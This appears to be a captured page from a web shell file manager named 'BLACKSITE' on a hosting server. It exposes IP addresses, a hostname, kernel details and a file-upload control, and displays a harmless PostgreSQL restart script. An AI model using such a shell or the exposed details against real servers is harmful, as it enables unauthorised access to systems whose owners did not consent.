BLACKSITE
:
3.139.85.113
:
103.154.184.216 / www.astitvaad.com
:
Linux vps.readyhost.in 4.18.0-553.6.1.el8.x86_64 #1 SMP Thu May 30 04:13:58 UTC 2024 x86_64
:
/
scripts
/
Upload File:
files >> //scripts/postgresqlrestart.sh
postgresql_ver=`locate bin/postgres | head -1 | tr -d '\n'` PSQL=`$postgresql_ver -V | awk '{print $3}'` SERVICE_PATH=`whereis service | awk '{print $2}'` PSQL_VER=`echo ${PSQL%.*}` GREP=`whereis grep | awk '{print $2}'` PS=`whereis ps | awk '{print $2}'` PSQL_COUNT=`$PS aux | awk '{print $1}' | $GREP postgres | wc -l` if [ $PSQL_COUNT -eq 0 ]; then if [ $PSQL_VER -eq 12 ]; then PSQLRESTART="$SERVICE_PATH postgresql-12 restart" $PSQLRESTART fi if [ $PSQL_VER -eq 11 ]; then PSQLRESTART="$SERVICE_PATH postgresql-11 restart" $PSQLRESTART fi if [ $PSQL_VER -eq 10 ]; then PSQLRESTART="$SERVICE_PATH postgresql-10 restart" $PSQLRESTART fi if [ $PSQL_VER -eq 9 ]; then PSQLRESTART="$SERVICE_PATH postgresql-9.6 restart" $PSQLRESTART fi fi